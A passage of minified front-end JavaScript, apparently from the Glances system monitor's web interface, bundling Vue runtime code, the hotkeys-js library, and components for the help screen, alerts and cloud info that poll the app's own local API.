e}(t,e);Md.test(r)?t.setProperty(cs(n),r.replace(Md,\"\"),\"important\"):t[n]=r}}const Pd=[\"Webkit\",\"Moz\",\"ms\"],Rd={};const Ld=\"http://www.w3.org/1999/xlink\";function Qd(t,e,r,n,i,o=Cs(e)){n&&e.startsWith(\"xlink:\")?null==r?t.removeAttributeNS(Ld,e.slice(6,e.length)):t.setAttributeNS(Ld,e,r):null==r||o&&!Is(r)?t.removeAttribute(e):t.setAttribute(e,o?\"\":zo(r)?String(r):r)}function Gd(t,e,r,n,i){if(\"innerHTML\"===e||\"textContent\"===e)return void(null!=r&&(t[e]=\"innerHTML\"===e?kd(r):r));const o=t.tagName;if(\"value\"===e&&\"PROGRESS\"!==o&&!o.includes(\"-\")){const n=\"OPTION\"===o?t.getAttribute(\"value\")||\"\":t.value,i=null==r?\"checkbox\"===t.type?\"on\":\"\":String(r);return n===i&&\"_value\"in t||(t.value=i),null==r&&t.removeAttribute(e),void(t._value=r)}let s=!1;if(\"\"===r||null==r){const n=typeof t[e];\"boolean\"===n?r=Is(r):null==r&&\"string\"===n?(r=\"\",s=!0):\"number\"===n&&(r=0,s=!0)}try{t[e]=r}catch(t){0}s&&t.removeAttribute(i||e)}function Wd(t,e,r,n){t.addEventListener(e,r,n)}const Ud=Symbol(\"_vei\");function Kd(t,e,r,n,i=null){const o=t[Ud]||(t[Ud]={}),s=o[e];if(n&&s)s.value=n;else{const[r,a]=function(t){let e;if(Hd.test(t)){let r;for(e={};r=t.match(Hd);)t=t.slice(0,t.length-r[0].length),e[r[0].toLowerCase()]=!0}const r=\":\"===t[2]?t.slice(3):cs(t.slice(2));return[r,e]}(e);if(n){const s=o[e]=function(t,e){const r=t=>{if(t._vts){if(t._vts<=r.attached)return}else t._vts=Date.now();cl(function(t,e){if(Ho(e)){const r=t.stopImmediatePropagation;return t.stopImmediatePropagation=()=>{r.call(t),t._stopped=!0},e.map(t=>e=>!e._stopped&&t&&t(e))}return e}(t,r.value),e,5,[t])};return r.value=t,r.attached=qd(),r}(n,i);Wd(t,r,s,a)}else s&&(!function(t,e,r,n){t.removeEventListener(e,r,n)}(t,r,s,a),o[e]=void 0)}}const Hd=/(?:Once|Passive|Capture)$/;let Yd=0;const Jd=Promise.resolve(),qd=()=>Yd||(Jd.then(()=>Yd=0),Yd=Date.now());const Zd=t=>111===t.charCodeAt(0)&&110===t.charCodeAt(1)&&t.charCodeAt(2)>96&&t.charCodeAt(2)<123;\"undefined\"!=typeof HTMLElement&&HTMLElement;const Vd=Go({patchProp:(t,e,r,n,i,o)=>{const s=\"svg\"===i;\"class\"===e?function(t,e,r){const n=t[Ed];n&&(e=(e?[e,...n]:[...n]).join(\" \")),null==e?t.removeAttribute(\"class\"):r?t.setAttribute(\"class\",e):t.className=e}(t,n,s):\"style\"===e?function(t,e,r){const n=t.style,i=Vo(r);let o=!1;if(r&&!i){if(e)if(Vo(e))for(const t of e.split(\";\")){const e=t.slice(0,t.indexOf(\":\")).trim();null==r[e]&&jd(n,e,\"\")}else for(const t in e)null==r[t]&&jd(n,t,\"\");for(const t in r)\"display\"===t&&(o=!0),jd(n,t,r[t])}else if(i){if(e!==r){const t=n[Nd];t&&(r+=\";\"+t),n.cssText=r,o=Fd.test(r)}}else e&&t.removeAttribute(\"style\");Dd in t&&(t[Dd]=o?n.display:\"\",t[Bd]&&(n.display=\"none\"))}(t,r,n):Lo(e)?Qo(e)||Kd(t,e,0,n,o):(\".\"===e[0]?(e=e.slice(1),1):\"^\"===e[0]?(e=e.slice(1),0):function(t,e,r,n){if(n)return\"innerHTML\"===e||\"textContent\"===e||!!(e in t&&Zd(e)&&Zo(r));if(\"spellcheck\"===e||\"draggable\"===e||\"translate\"===e||\"autocorrect\"===e)return!1;if(\"sandbox\"===e&&\"IFRAME\"===t.tagName)return!1;if(\"form\"===e)return!1;if(\"list\"===e&&\"INPUT\"===t.tagName)return!1;if(\"type\"===e&&\"TEXTAREA\"===t.tagName)return!1;if(\"width\"===e||\"height\"===e){const e=t.tagName;if(\"IMG\"===e||\"VIDEO\"===e||\"CANVAS\"===e||\"SOURCE\"===e)return!1}if(Zd(e)&&Vo(r))return!1;return e in t}(t,e,n,s))?(Gd(t,e,n),t.tagName.includes(\"-\")||\"value\"!==e&&\"checked\"!==e&&\"selected\"!==e||Qd(t,e,n,s,0,\"value\"!==e)):t._isVueCE&&(function(t,e){const r=t._def.props;if(!r)return!1;const n=as(e);return Array.isArray(r)?r.some(t=>as(t)===n):Object.keys(r).some(t=>as(t)===n)}(t,e)||t._def.__asyncLoader&&(/[A-Z]/.test(e)||!Vo(n)))?Gd(t,as(e),n,0,e):(\"true-value\"===e?t._trueValue=n:\"false-value\"===e&&(t._falseValue=n),Qd(t,e,n,s))}},Sd);let zd;function Xd(){return zd||(zd=function(t){return gu(t)}(Vd))}const $d=(...t)=>{const e=Xd().createApp(...t);const{mount:r}=e;return e.mount=t=>{const n=ep(t);if(!n)return;const i=e._component;Zo(i)||i.render||i.template||(i.template=n.innerHTML),1===n.nodeType&&(n.textContent=\"\");const o=r(n,!1,tp(n));return n instanceof Element&&(n.removeAttribute(\"v-cloak\"),n.setAttribute(\"data-v-app\",\"\")),o},e};function tp(t){return t instanceof SVGElement?\"svg\":\"function\"==typeof MathMLElement&&t instanceof MathMLElement?\"mathml\":void 0}function ep(t){if(Vo(t)){return document.querySelector(t)}return t}const rp={key:0,id:\"loading-page\",class:\"container-fluid\"},np={key:2},ip={class:\"d-sm-none\"},op={class:\"header-small\"},sp={key:0},ap={key:1},lp={class:\"d-none d-sm-block\"},cp={class:\"header d-flex justify-content-between flex-row\"},up={key:0,class:\"\"},dp={key:1,class:\"d-none d-lg-block\"},pp={key:2,class:\"d-none d-md-block\"},mp={key:3,class:\"d-none d-xl-block\"},hp={class:\"d-flex d-none d-sm-block\"},gp={key:0},fp={class:\"top d-flex justify-content-between flex-row\"},bp={key:0,class:\"d-none d-md-block\"},Ap={key:1,class:\"\"},yp={key:2,class:\"d-none d-xl-block\"},vp={key:3,class:\"d-none d-xl-block\"},xp={key:4,class:\"\"},wp={key:5,class:\"d-none d-lg-block\"},_p={key:6,class:\"d-none d-sm-block\"},kp={class:\"bottom container-fluid\"},Cp={class:\"row\"};\n/*!\n * hotkeys-js v4.0.2\n * A simple micro-library for defining and dispatching keyboard shortcuts. It has no dependencies.\n * \n * @author kenny wong <wowohoo@qq.com>\n * @license MIT\n * @homepage https://jaywcjlove.github.io/hotkeys-js\n */\nconst Ip=\"undefined\"!=typeof navigator&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")>0;function Sp(t,e,r,n){t.addEventListener?t.addEventListener(e,r,n):t.attachEvent&&t.attachEvent(`on${e}`,r)}function Ep(t,e,r,n){t&&(t.removeEventListener?t.removeEventListener(e,r,n):t.detachEvent&&t.detachEvent(`on${e}`,r))}function Dp(t,e){const r=e.slice(0,e.length-1),n=[];for(let e=0;e<r.length;e++)n.push(t[r[e].toLowerCase()]);return n}function Bp(t){\"string\"!=typeof t&&(t=\"\");const e=(t=t.replace(/\\s/g,\"\")).split(\",\");let r=e.lastIndexOf(\"\");for(;r>=0;)e[r-1]+=\",\",e.splice(r,1),r=e.lastIndexOf(\"\");return e}function Op(t){let e=t.keyCode||t.which||t.charCode;return t.code&&/^Key[A-Z]$/.test(t.code)&&(e=t.code.charCodeAt(3)),e}const Tp={backspace:8,\"⌫\":8,tab:9,clear:12,enter:13,\"↩\":13,return:13,esc:27,escape:27,space:32,left:37,up:38,right:39,down:40,arrowup:38,arrowdown:40,arrowleft:37,arrowright:39,del:46,delete:46,ins:45,insert:45,home:36,end:35,pageup:33,pagedown:34,capslock:20,num_0:96,num_1:97,num_2:98,num_3:99,num_4:100,num_5:101,num_6:102,num_7:103,num_8:104,num_9:105,num_multiply:106,num_add:107,num_enter:108,num_subtract:109,num_decimal:110,num_divide:111,\"⇪\":20,\",\":188,\".\":190,\"/\":191,\"`\":192,\"-\":Ip?173:189,\"=\":Ip?61:187,\";\":Ip?59:186,\"'\":222,\"{\":219,\"}\":221,\"[\":219,\"]\":221,\"\\\\\":220},Np={\"⇧\":16,shift:16,\"⌥\":18,alt:18,option:18,\"⌃\":17,ctrl:17,control:17,\"⌘\":91,cmd:91,meta:91,command:91},Fp={16:\"shiftKey\",18:\"altKey\",17:\"ctrlKey\",91:\"metaKey\",shiftKey:16,ctrlKey:17,altKey:18,metaKey:91},Mp={16:!1,18:!1,17:!1,91:!1},jp={};for(let t=1;t<20;t++)Tp[`f${t}`]=111+t;let Pp=[],Rp=null,Lp=null,Qp=\"all\";const Gp=new Map,Wp=t=>Tp[t.toLowerCase()]||Np[t.toLowerCase()]||t.toUpperCase().charCodeAt(0),Up=t=>{Qp=t||\"all\"},Kp=()=>Qp||\"all\",Hp=t=>{const e=t.target||t.srcElement,{tagName:r}=e;let n=!0;const i=\"INPUT\"===r&&![\"checkbox\",\"radio\",\"range\",\"button\",\"file\",\"reset\",\"submit\",\"color\"].includes(e.type);return(e.isContentEditable||(i||\"TEXTAREA\"===r||\"SELECT\"===r)&&!e.readOnly)&&(n=!1),n};const Yp=(t,...e)=>{if(void 0===t)Object.keys(jp).forEach(t=>{Array.isArray(jp[t])&&jp[t].forEach(t=>Jp(t)),delete jp[t]}),zp(null);else if(Array.isArray(t))t.forEach(t=>{t.key&&Jp(t)});else if(\"object\"==typeof t)t.key&&Jp(t);else if(\"string\"==typeof t){let[r,n]=e;\"function\"==typeof r&&(n=r,r=\"\"),Jp({key:t,scope:r,method:n,splitKey:\"+\"})}},Jp=({key:t,scope:e,method:r,splitKey:n=\"+\"})=>{Bp(t).forEach(t=>{const i=t.split(n),o=i.length,s=i[o-1],a=\"*\"===s?\"*\":Wp(s);if(!jp[a])return;e||(e=Kp());const l=o>1?Dp(Np,i):[],c=[];jp[a]=jp[a].filter(t=>{const n=(!r||t.method===r)&&t.scope===e&&function(t,e){const r=t.length>=e.length?t:e,n=t.length>=e.length?e:t;let i=!0;for(let t=0;t<r.length;t++)-1===n.indexOf(r[t])&&(i=!1);return i}(t.mods,l);return n&&c.push(t.element),!n}),c.forEach(t=>zp(t))})};function qp(t,e,r,n){if(e.element!==n)return;let i;if(e.scope===r||\"all\"===e.scope){i=e.mods.length>0;for(const t in Mp)Object.prototype.hasOwnProperty.call(Mp,t)&&(!Mp[t]&&e.mods.indexOf(+t)>-1||Mp[t]&&-1===e.mods.indexOf(+t))&&(i=!1);(0!==e.mods.length||Mp[16]||Mp[18]||Mp[17]||Mp[91])&&!i&&\"*\"!==e.shortcut||(e.keys=[],e.keys=e.keys.concat(Pp),!1===e.method(t,e)&&(t.preventDefault?t.preventDefault():t.returnValue=!1,t.stopPropagation&&t.stopPropagation(),t.cancelBubble&&(t.cancelBubble=!0)))}}function Zp(t,e){const r=jp[\"*\"];let n=Op(t);if(t.key&&\"capslock\"===t.key.toLowerCase())return;if(!(Vp.filter||Hp).call(this,t))return;if(93!==n&&224!==n||(n=91),-1===Pp.indexOf(n)&&229!==n&&Pp.push(n),[\"metaKey\",\"ctrlKey\",\"altKey\",\"shiftKey\"].forEach(e=>{const r=Fp[e];t[e]&&-1===Pp.indexOf(r)?Pp.push(r):!t[e]&&Pp.indexOf(r)>-1?Pp.splice(Pp.indexOf(r),1):\"metaKey\"===e&&t[e]&&(Pp=Pp.filter(t=>t in Fp||t===n))}),n in Mp){Mp[n]=!0;for(const e in Np)if(Object.prototype.hasOwnProperty.call(Np,e)){const r=Fp[Np[e]];Vp[e]=t[r]}if(!r)return}for(const e in Mp)Object.prototype.hasOwnProperty.call(Mp,e)&&(Mp[e]=t[Fp[e]]);t.getModifierState&&(!t.altKey||t.ctrlKey)&&t.getModifierState(\"AltGraph\")&&(-1===Pp.indexOf(17)&&Pp.push(17),-1===Pp.indexOf(18)&&Pp.push(18),Mp[17]=!0,Mp[18]=!0);const i=Kp();if(r)for(let n=0;n<r.length;n++)r[n].scope===i&&(\"keydown\"===t.type&&r[n].keydown||\"keyup\"===t.type&&r[n].keyup)&&qp(t,r[n],i,e);if(!(n in jp))return;const o=jp[n],s=o.length;for(let r=0;r<s;r++)if((\"keydown\"===t.type&&o[r].keydown||\"keyup\"===t.type&&o[r].keyup)&&o[r].key){const n=o[r],{splitKey:s}=n,a=n.key.split(s),l=[];for(let t=0;t<a.length;t++)l.push(Wp(a[t]));l.sort().join(\"\")===Pp.sort().join(\"\")&&qp(t,n,i,e)}}const Vp=function t(e,r,n){Pp=[];const i=Bp(e);let o=[],s=\"all\",a=document,l=0,c=!1,u=!0,d=\"+\",p=!1,m=!1;if(void 0===n&&\"function\"==typeof r&&(n=r),\"[object Object]\"===Object.prototype.toString.call(r)){const t=r;t.scope&&(s=t.scope),t.element&&(a=t.element),t.keyup&&(c=t.keyup),void 0!==t.keydown&&(u=t.keydown),void 0!==t.capture&&(p=t.capture),\"string\"==typeof t.splitKey&&(d=t.splitKey),!0===t.single&&(m=!0)}for(\"string\"==typeof r&&(s=r),m&&Yp(e,s);l<i.length;l++){const t=i[l].split(d);o=[],t.length>1&&(o=Dp(Np,t));let e=t[t.length-1];e=\"*\"===e?\"*\":Wp(e),e in jp||(jp[e]=[]),jp[e].push({keyup:c,keydown:u,scope:s,mods:o,shortcut:i[l],method:n,key:i[l],splitKey:d,element:a})}if(void 0!==a&&\"undefined\"!=typeof window){if(!Gp.has(a)){const t=(t=window.event)=>Zp(t,a),e=(t=window.event)=>{Zp(t,a),function(t){let e=Op(t);t.key&&\"capslock\"===t.key.toLowerCase()&&(e=Wp(t.key));const r=Pp.indexOf(e);if(r>=0&&Pp.splice(r,1),t.key&&\"meta\"===t.key.toLowerCase()&&Pp.splice(0,Pp.length),93!==e&&224!==e||(e=91),e in Mp){Mp[e]=!1;for(const t in Np)Np[t]===e&&(Vp[t]=!1)}}(t)};Gp.set(a,{keydownListener:t,keyupListenr:e,capture:p}),Sp(a,\"keydown\",t,p),Sp(a,\"keyup\",e,p)}if(!Rp){const t=()=>{Pp=[]};Rp={listener:t,capture:p},Sp(window,\"focus\",t,p)}if(!Lp&&\"undefined\"!=typeof document){const e=()=>{Pp=[];for(const t in Mp)Mp[t]=!1;for(const e in Np)t[e]=!1},r=e,n=e;document.addEventListener(\"fullscreenchange\",r),document.addEventListener(\"webkitfullscreenchange\",n),Lp={fullscreen:r,webkit:n}}}};function zp(t){const e=Object.values(jp).flat();if(e.findIndex(({element:e})=>e===t)<0&&t){const{keydownListener:e,keyupListenr:r,capture:n}=Gp.get(t)||{};e&&r&&(Ep(t,\"keyup\",r,n),Ep(t,\"keydown\",e,n),Gp.delete(t))}if(e.length<=0||Gp.size<=0){if(Array.from(Gp.keys()).forEach(t=>{const{keydownListener:e,keyupListenr:r,capture:n}=Gp.get(t)||{};e&&r&&(Ep(t,\"keyup\",r,n),Ep(t,\"keydown\",e,n),Gp.delete(t))}),Gp.clear(),Object.keys(jp).forEach(t=>delete jp[t]),Rp){const{listener:t,capture:e}=Rp;Ep(window,\"focus\",t,e),Rp=null}Lp&&\"undefined\"!=typeof document&&(document.removeEventListener(\"fullscreenchange\",Lp.fullscreen),document.removeEventListener(\"webkitfullscreenchange\",Lp.webkit),Lp=null)}}const Xp={getPressedKeyString:()=>Pp.map(t=>{return e=t,Object.keys(Tp).find(t=>Tp[t]===e)||(t=>Object.keys(Np).find(e=>Np[e]===t))(t)||String.fromCharCode(t);var e}),setScope:Up,getScope:Kp,deleteScope:(t,e)=>{let r,n;t||(t=Kp());for(const e in jp)if(Object.prototype.hasOwnProperty.call(jp,e))for(r=jp[e],n=0;n<r.length;)if(r[n].scope===t){r.splice(n,1).forEach(({element:t})=>zp(t))}else n++;Kp()===t&&Up(e||\"all\")},getPressedKeyCodes:()=>Pp.slice(0),getAllKeyCodes:()=>{const t=[];return Object.keys(jp).forEach(e=>{jp[e].forEach(({key:e,scope:r,mods:n,shortcut:i})=>{t.push({scope:r,shortcut:i,mods:n,keys:e.split(\"+\").map(t=>Wp(t))})})}),t},isPressed:t=>(\"string\"==typeof t&&(t=Wp(t)),-1!==Pp.indexOf(t)),filter:Hp,trigger:function(t,e=\"all\"){Object.keys(jp).forEach(r=>{jp[r].filter(r=>r.scope===e&&r.shortcut===t).forEach(t=>{t&&t.method&&t.method({},t)})})},unbind:Yp,keyMap:Tp,modifier:Np,modifierMap:Fp};for(const t in Xp){const e=t;Object.prototype.hasOwnProperty.call(Xp,e)&&(Vp[e]=Xp[e])}if(\"undefined\"!=typeof window){const t=window.hotkeys;Vp.noConflict=e=>(e&&window.hotkeys===Vp&&(window.hotkeys=t),Vp),window.hotkeys=Vp}\"undefined\"!=typeof module&&module.exports&&(module.exports=Vp,module.exports.default=Vp);const $p={key:0},tm={class:\"container-fluid\"},em={class:\"row\"},rm={class:\"col-sm-12 col-lg-24 title\"},nm={class:\"row\"},im={class:\"col-sm-12 col-lg-24\"},om={class:\"table table-sm table-borderless table-striped table-hover\"};const sm={data:()=>({help:void 0}),mounted(){fetch(\"api/4/help\",{method:\"GET\"}).then(t=>t.json()).then(t=>this.help=t)}};var am=r(6262);const lm=(0,am.A)(sm,[[\"render\",function(t,e,r,n,i,o){return i.help?(Ou(),ju(\"div\",$p,[Wu(\"div\",tm,[Wu(\"div\",em,[Wu(\"div\",rm,Ds(i.help.version)+\" \"+Ds(i.help.psutil_version),1)]),e[0]||(e[0]=Wu(\"div\",{class:\"row\"},\" \",-1)),Wu(\"div\",nm,[Wu(\"div\",im,Ds(i.help.configuration_file),1)]),e[1]||(e[1]=Wu(\"div\",{class:\"row\"},\" \",-1))]),Wu(\"table\",om,[Wu(\"thead\",null,[Wu(\"tr\",null,[Wu(\"th\",null,Ds(i.help.header_sort.replace(\":\",\"\")),1),Wu(\"th\",null,Ds(i.help.header_show_hide.replace(\":\",\"\")),1),Wu(\"th\",null,Ds(i.help.header_toggle.replace(\":\",\"\")),1),Wu(\"th\",null,Ds(i.help.header_miscellaneous.replace(\":\",\"\")),1)])]),Wu(\"tbody\",null,[Wu(\"tr\",null,[Wu(\"td\",null,Ds(i.help.sort_auto),1),Wu(\"td\",null,Ds(i.help.show_hide_application_monitoring),1),Wu(\"td\",null,Ds(i.help.toggle_bits_bytes),1),Wu(\"td\",null,Ds(i.help.misc_erase_process_filter),1)]),Wu(\"tr\",null,[Wu(\"td\",null,Ds(i.help.sort_cpu),1),Wu(\"td\",null,Ds(i.help.show_hide_diskio),1),Wu(\"td\",null,Ds(i.help.toggle_count_rate),1),Wu(\"td\",null,Ds(i.help.misc_generate_history_graphs),1)]),Wu(\"tr\",null,[Wu(\"td\",null,Ds(i.help.sort_io_rate),1),Wu(\"td\",null,Ds(i.help.show_hide_containers),1),Wu(\"td\",null,Ds(i.help.toggle_used_free),1),Wu(\"td\",null,Ds(i.help.misc_help),1)]),Wu(\"tr\",null,[Wu(\"td\",null,Ds(i.help.sort_cpu_num),1),Wu(\"td\",null,Ds(i.help.show_hide_top_extended_stats),1),Wu(\"td\",null,Ds(i.help.toggle_bar_sparkline),1),Wu(\"td\",null,Ds(i.help.misc_accumulate_processes_by_program),1)]),Wu(\"tr\",null,[Wu(\"td\",null,Ds(i.help.sort_mem),1),Wu(\"td\",null,Ds(i.help.show_hide_top_extended_stats),1),Wu(\"td\",null,Ds(i.help.toggle_bar_sparkline),1),Wu(\"td\",null,Ds(i.help.misc_accumulate_processes_by_program),1)]),Wu(\"tr\",null,[Wu(\"td\",null,Ds(i.help.sort_process_name),1),Wu(\"td\",null,Ds(i.help.show_hide_filesystem),1),Wu(\"td\",null,Ds(i.help.toggle_separate_combined),1),e[2]||(e[2]=Wu(\"td\",null,\" \",-1))]),Wu(\"tr\",null,[Wu(\"td\",null,Ds(i.help.sort_cpu_times),1),Wu(\"td\",null,Ds(i.help.show_hide_gpu),1),Wu(\"td\",null,Ds(i.help.toggle_live_cumulative),1),Wu(\"td\",null,Ds(i.help.misc_reset_processes_summary_min_max),1)]),Wu(\"tr\",null,[Wu(\"td\",null,Ds(i.help.sort_user),1),Wu(\"td\",null,Ds(i.help.show_hide_ip),1),Wu(\"td\",null,Ds(i.help.toggle_linux_percentage),1),Wu(\"td\",null,Ds(i.help.misc_quit),1)]),Wu(\"tr\",null,[e[3]||(e[3]=Wu(\"td\",null,\" \",-1)),Wu(\"td\",null,Ds(i.help.show_hide_tcp_connection),1),Wu(\"td\",null,Ds(i.help.toggle_cpu_individual_combined),1),Wu(\"td\",null,Ds(i.help.misc_reset_history),1)]),Wu(\"tr\",null,[e[4]||(e[4]=Wu(\"td\",null,\" \",-1)),Wu(\"td\",null,Ds(i.help.show_hide_alert),1),Wu(\"td\",null,Ds(i.help.toggle_gpu_individual_combined),1),Wu(\"td\",null,Ds(i.help.misc_delete_warning_alerts),1)]),Wu(\"tr\",null,[e[5]||(e[5]=Wu(\"td\",null,\" \",-1)),Wu(\"td\",null,Ds(i.help.show_hide_network),1),Wu(\"td\",null,Ds(i.help.toggle_short_full),1),Wu(\"td\",null,Ds(i.help.misc_delete_warning_and_critical_alerts),1)]),Wu(\"tr\",null,[e[6]||(e[6]=Wu(\"td\",null,\" \",-1)),Wu(\"td\",null,Ds(i.help.sort_cpu_times),1),e[7]||(e[7]=Wu(\"td\",null,\" \",-1)),e[8]||(e[8]=Wu(\"td\",null,\" \",-1))]),Wu(\"tr\",null,[e[9]||(e[9]=Wu(\"td\",null,\" \",-1)),Wu(\"td\",null,Ds(i.help.show_hide_irq),1),e[10]||(e[10]=Wu(\"td\",null,\" \",-1)),e[11]||(e[11]=Wu(\"td\",null,\" \",-1))]),Wu(\"tr\",null,[e[12]||(e[12]=Wu(\"td\",null,\" \",-1)),Wu(\"td\",null,Ds(i.help.show_hide_raid_plugin),1),e[13]||(e[13]=Wu(\"td\",null,\" \",-1)),e[14]||(e[14]=Wu(\"td\",null,\" \",-1))]),Wu(\"tr\",null,[e[15]||(e[15]=Wu(\"td\",null,\" \",-1)),Wu(\"td\",null,Ds(i.help.show_hide_sensors),1),e[16]||(e[16]=Wu(\"td\",null,\" \",-1)),e[17]||(e[17]=Wu(\"td\",null,\" \",-1))]),Wu(\"tr\",null,[e[18]||(e[18]=Wu(\"td\",null,\" \",-1)),Wu(\"td\",null,Ds(i.help.show_hide_wifi_module),1),e[19]||(e[19]=Wu(\"td\",null,\" \",-1)),e[20]||(e[20]=Wu(\"td\",null,\" \",-1))]),Wu(\"tr\",null,[e[21]||(e[21]=Wu(\"td\",null,\" \",-1)),Wu(\"td\",null,Ds(i.help.show_hide_processes),1),e[22]||(e[22]=Wu(\"td\",null,\" \",-1)),e[23]||(e[23]=Wu(\"td\",null,\" \",-1))]),Wu(\"tr\",null,[e[24]||(e[24]=Wu(\"td\",null,\" \",-1)),Wu(\"td\",null,Ds(i.help.show_hide_left_sidebar),1),e[25]||(e[25]=Wu(\"td\",null,\" \",-1)),e[26]||(e[26]=Wu(\"td\",null,\" \",-1))]),Wu(\"tr\",null,[e[27]||(e[27]=Wu(\"td\",null,\" \",-1)),Wu(\"td\",null,Ds(i.help.show_hide_quick_look),1),e[28]||(e[28]=Wu(\"td\",null,\" \",-1)),e[29]||(e[29]=Wu(\"td\",null,\" \",-1))]),Wu(\"tr\",null,[e[30]||(e[30]=Wu(\"td\",null,\" \",-1)),Wu(\"td\",null,Ds(i.help.show_hide_cpu_mem_swap),1),e[31]||(e[31]=Wu(\"td\",null,\" \",-1)),e[32]||(e[32]=Wu(\"td\",null,\" \",-1))]),Wu(\"tr\",null,[e[33]||(e[33]=Wu(\"td\",null,\" \",-1)),Wu(\"td\",null,Ds(i.help.show_hide_all),1),e[34]||(e[34]=Wu(\"td\",null,\" \",-1)),e[35]||(e[35]=Wu(\"td\",null,\" \",-1))])])]),e[36]||(e[36]=Ju('<div class=\"row\"> </div><div><p> For an exhaustive list of key bindings, <a href=\"https://glances.readthedocs.io/en/latest/cmds.html#interactive-commands\">click here</a>. </p></div><div><p><a href=\"/docs\">API documentation</a> / <a href=\"/openapi.json\">OpenAPI file</a></p></div><div class=\"row\"> </div><div><p>Press <b>h</b> to came back to Glances.</p></div>',5))])):qu(\"v-if\",!0)}]]),cm={id:\"alerts\",class:\"plugin\"},um={key:0,class:\"title\"},dm={key:1,class:\"title\"},pm={class:\"table table-sm table-borderless\"},mm={scope:\"row\"},hm={scope:\"row\"},gm={scope:\"row\"};var fm=r(2543),bm=r(4644),Am=r.n(bm);const ym=Wa({args:void 0,config:void 0,data:void 0,status:\"IDLE\"});const vm=new class{limits={};limitSuffix=[\"critical\",\"careful\",\"warning\"];setLimits(t){this.limits=t}getLimit(t,e){return null!=this.limits[t]&&null!=this.limits[t][e]?this.limits[t][e]:null}getAlert(t,e,r,n,i){var o=(i=i||!1)?\"_log\":\"\",s=100*(r=r||0)/(n=n||100);if(null!=this.limits[t])for(var a=0;a<this.limitSuffix.length;a++){var l=e+this.limitSuffix[a];if(s>=this.limits[t][l]){var c=l.lastIndexOf(\"_\");return l.substring(c+1)+o}}return\"ok\"+o}getAlertLog(t,e,r,n){return this.getAlert(t,e,r,n,!0)}};const xm=new class{data=void 0;init(t=60){let e;const r=()=>(ym.status=\"PENDING\",Promise.all([fetch(\"api/4/all\",{method:\"GET\"}).then(t=>t.json()),fetch(\"api/4/all/views\",{method:\"GET\"}).then(t=>t.json())]).then(t=>{const e={stats:t[0],views:t[1],isBsd:\"FreeBSD\"===t[0].system?.os_name,isLinux:\"Linux\"===t[0].system?.os_name,isSunOS:\"SunOS\"===t[0].system?.os_name,isMac:\"Darwin\"===t[0].system?.os_name,isWindows:\"Windows\"===t[0].system?.os_name};this.data=e,ym.data=e,ym.status=\"SUCCESS\"}).catch(t=>{console.log(t),ym.status=\"FAILURE\"}).then(()=>{e&&clearTimeout(e),e=setTimeout(r,1e3*t)}));r(),fetch(\"api/4/all/limits\",{method:\"GET\"}).then(t=>t.json()).then(t=>{vm.setLimits(t)}),fetch(\"api/4/args\",{method:\"GET\"}).then(t=>t.json()).then((t={})=>{ym.args={...ym.args,...t}}),fetch(\"api/4/config\",{method:\"GET\"}).then(t=>t.json()).then((t={})=>{ym.config={...ym.config,...t}})}getData(){return this.data}};const wm=new class{constructor(){this.favico=new(Am())({animation:\"none\"})}badge(t){this.favico.badge(t)}reset(){this.favico.reset()}},_m={props:{data:{type:Object}},computed:{stats(){return this.data.stats.alert},alerts(){return(this.stats||[]).map(t=>{const e={};if(e.state=t.state,e.type=t.type,e.begin=1e3*t.begin,e.end=1e3*t.end,e.ongoing=-1==t.end,e.min=t.min,e.avg=t.avg,e.max=t.max,t.top.length>0&&(e.top=\": \"+t.top.join(\", \")),!e.ongoing){const t=e.end-e.begin,r=parseInt(t/1e3%60),n=parseInt(t/6e4%60),i=parseInt(t/36e5%24);e.duration=(0,fm.padStart)(i,2,\"0\")+\":\"+(0,fm.padStart)(n,2,\"0\")+\":\"+(0,fm.padStart)(r,2,\"0\")}return e})},hasAlerts(){return this.countAlerts>0},countAlerts(){return this.alerts.length},hasOngoingAlerts(){return this.countOngoingAlerts>0},countOngoingAlerts(){return this.alerts.filter(({ongoing:t})=>t).length}},watch:{countOngoingAlerts(){this.countOngoingAlerts?wm.badge(this.countOngoingAlerts):wm.reset()}},methods:{formatDate(t){const e=(new Date).getTimezoneOffset(),r=Math.trunc(Math.abs(e)/60),n=Math.abs(e%60);let i=e<=0?\"+\":\"-\";i+=String(r).padStart(2,\"0\")+String(n).padStart(2,\"0\");const o=new Date(t);return String(o.getFullYear())+\"-\"+String(o.getMonth()+1).padStart(2,\"0\")+\"-\"+String(o.getDate()).padStart(2,\"0\")+\" \"+String(o.getHours()).padStart(2,\"0\")+\":\"+String(o.getMinutes()).padStart(2,\"0\")+\":\"+String(o.getSeconds()).padStart(2,\"0\")+\"(\"+i+\")\"},clear(){fetch(\"api/4/events/clear/all\",{method:\"POST\",headers:{\"Content-Type\":\"application/json\"}}).then(t=>t.json()).then(t=>product.value=t)}}},km=(0,am.A)(_m,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(\"section\",cm,[o.hasAlerts?(Ou(),ju(\"span\",um,[Yu(\" Warning or critical alerts (last \"+Ds(o.countAlerts)+\" entries) \",1),Wu(\"span\",null,[Wu(\"button\",{class:\"button\",onClick:e[0]||(e[0]=t=>o.clear())},\"Clear alerts\")])])):(Ou(),ju(\"span\",dm,\"No warning or critical alert detected\")),Wu(\"table\",pm,[Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.alerts,(e,r)=>(Ou(),ju(\"tr\",{key:r},[Wu(\"td\",mm,[Wu(\"span\",null,Ds(o.formatDate(e.begin)),1)]),Wu(\"td\",hm,[Wu(\"span\",null,\"(\"+Ds(e.ongoing?\"ongoing\":e.duration)+\")\",1)]),Wu(\"td\",gm,[Bl(Wu(\"span\",null,Ds(e.state)+\" on \",513),[[Od,!e.ongoing]]),Wu(\"span\",{class:_s(e.state.toLowerCase())},Ds(e.type),3),Wu(\"span\",null,\"(\"+Ds(t.$filters.number(e.max,1))+\")\",1),Wu(\"span\",null,Ds(e.top),1)])]))),128))])])])}]]),Cm={key:0,id:\"cloud\",class:\"plugin\"},Im={class:\"title\"};const Sm={props:{data:{type:Object}},computed:{stats(){return this.data.stats.cloud},provider(){return void 0!==this.stats.id?`${stats.platform}`:null},instance(){const{stats:t}=this;return void 0!==this.stats.id?`${t.type} instance ${t.name} (${t.region})`:null}}},Em=(0,am.A)(Sm,[[\"render\",function(t,e,r,n,i,o){return o.instance||o.provider?(Ou(),ju(\"section\",Cm,[Wu(\"span\",Im,Ds(o.provider),1),Yu(\" \"+Ds(o.instance),1)])):qu(\"v-if\",!0)}]]),Dm={id:\"connections\",class:\"plugin\"},Bm={class:\"table table-sm table-borderless 